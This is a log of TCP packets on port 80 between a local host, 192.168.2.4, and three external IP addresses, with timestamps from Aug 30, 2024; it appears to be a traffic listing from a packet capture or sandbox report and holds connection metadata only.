Aug 30, 2024 03:17:07.714591026 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.714631081 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.714641094 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714651108 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.714654922 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.714662075 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.714663029 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.714673996 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.714684010 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.714688063 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.714693069 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.714709044 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.714716911 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.714740992 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.721349955 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.721394062 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.721477985 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.721487045 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.721514940 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.721525908 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.722548008 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.722558975 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.722599983 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.722665071 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.722709894 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.722857952 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.722898960 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.723041058 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.723083019 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.723217964 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.723229885 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.723259926 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.723259926 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.724210978 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.724220991 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.724230051 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.724239111 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.724247932 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.724253893 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.724257946 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.724267960 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.724277020 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.724277020 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.724289894 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.724291086 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.724299908 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.724304914 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.724311113 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.724311113 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.724338055 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.724344015 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.724783897 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.724792957 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.724801064 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.724811077 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.724822044 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.724829912 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.724836111 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.724839926 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.724850893 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.724853039 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.724860907 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.724869967 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.724874973 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.724879026 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.724889040 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.724891901 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.724908113 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.724917889 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.724927902 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.724942923 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.724951982 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.724961042 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.724967003 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.724970102 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.724978924 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.724987030 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.724993944 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725004911 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725011110 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725013971 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725019932 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725024939 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725049973 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725049973 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725065947 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725070953 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725075006 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725083113 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725090981 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725092888 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725102901 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725107908 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725112915 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725121975 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725127935 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725132942 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725141048 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725142002 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725152016 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725152016 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725162983 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725176096 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725197077 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725198984 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725205898 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725214005 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725224972 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725233078 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725238085 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725244999 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725254059 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725255966 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725261927 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725265026 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725271940 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725282907 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725289106 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725292921 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725315094 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725322962 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725327969 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725332022 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725341082 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725351095 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725361109 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725369930 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725383043 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725392103 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725394011 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725399971 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725415945 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725423098 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725425005 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725435019 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725439072 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725456953 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725459099 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725465059 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725472927 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725476980 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725481987 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725498915 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725502014 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725512028 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725517988 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725521088 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725531101 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725537062 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725539923 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725544930 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725553989 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725563049 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725573063 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725579977 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725581884 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725590944 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725591898 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725600958 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.725610971 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.725613117 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725630045 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.725636005 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.725645065 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.725651026 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.725656033 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.725672960 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.725673914 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.725678921 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.725691080 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.725691080 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.725702047 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.725713015 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.725722075 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.725727081 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.725743055 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.725744009 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.725750923 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.725753069 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.725784063 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.725785017 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.725790977 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.725796938 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.725807905 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.725817919 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.725824118 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.725847960 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.725866079 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.731762886 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.731772900 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.731781960 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.731812000 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.731828928 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.731893063 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.731901884 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.731913090 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.731924057 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.731945992 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.731962919 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.732150078 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.732183933 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.732346058 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.732356071 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.732364893 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.732373953 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.732420921 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.732479095 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.732495070 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.732503891 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.732515097 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.732525110 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.732533932 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.732534885 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.732543945 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.732553005 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.732554913 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.732559919 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.732584953 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.732603073 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.732637882 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.732796907 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.732808113 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.732815981 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.732825041 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.732834101 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.732840061 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.732844114 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.732853889 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.732861996 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.732878923 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.732887983 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.733346939 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.733355045 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.733391047 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.733501911 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.733510971 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.733517885 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.733527899 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.733537912 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.733541012 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.733555079 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.733575106 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.733686924 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.733696938 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.733705997 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.733715057 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.733724117 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.733724117 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.733736992 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.733755112 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.733858109 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.733865976 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.733874083 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.733885050 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.733895063 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.733906984 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.733915091 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.733928919 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.733983040 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.734072924 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.760643959 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.760653973 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.760663033 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.760699987 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.760726929 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.760737896 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.760746002 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.760756016 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.760771036 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.760783911 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.760807037 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.760822058 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.760832071 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.760840893 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.760852098 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.760859013 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.760899067 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.760909081 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.760916948 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.760926962 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.760931969 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.760951042 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.760951042 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.775270939 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775285006 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775298119 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775319099 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775321007 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.775329113 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775331020 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.775340080 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775348902 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.775350094 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775363922 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.775382042 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.775398016 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775405884 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775413990 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775422096 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775435925 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.775450945 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.775456905 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775500059 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775510073 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775517941 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775544882 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.775557041 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.775568962 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775578976 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775610924 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.775674105 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775682926 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775691986 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775701046 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775715113 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775722980 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.775736094 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.775738001 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775747061 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.775749922 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775760889 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775768995 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.775782108 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.775795937 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.775892019 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775906086 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775919914 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775929928 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775933981 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.775938988 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775940895 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.775950909 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.775962114 CEST	49736	80	192.168.2.4	154.216.17.134
